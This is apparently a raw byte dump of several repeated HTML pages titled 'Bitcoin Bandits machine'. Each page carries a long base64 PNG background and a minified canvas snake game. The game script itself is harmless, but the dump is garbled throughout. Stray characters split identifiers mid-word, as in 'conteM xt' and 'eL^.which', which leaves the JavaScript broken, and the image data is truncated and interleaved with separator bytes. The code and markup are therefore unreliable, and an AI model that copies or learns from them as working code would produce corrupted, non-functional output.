lAINEJSIoyFFbJE/jL/q9dWK3zU8cHX1g/4nna//02UYt3E3Ico6ddAAQSnQAEGJOPpQxBMptX6fsJMdGlXvA1hNBw0QlAINEJSIow95PFHEFp1EFlXvm9ZdHEA9HTRAUDroPrS72Ff80vd6is554+2tp3ylJ57pf3HA2NNBAwSlQAMEJeLoUh5FHHhw/XNv2zRTjp/+yIlyfMv929ccv+X+9ucC00UHDRCUAg0QlIijAysjh+z4p09nx7evOTdlsUVdVFF1XKwBpKSDBghLgQYISsTRAfEEMAo6aICgFGiAoBRogKAUaICgXCQEBuro0aOVx3fs2Tvklawv4jp10ABBKdAAQU1VxJF/VXn82MOtF5aWRrCa0Tj85Ik1xxYWFkawEqrk/y2iRQAMnw4aICgFGiCoy3bs2fv6qBcBwFo6aICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRoM
gKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKD+H/vg9zamDrqkAAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,conteM
xt.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snaM
ke.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===eL^.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:M
4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(appleM
.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.whiL
ch&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
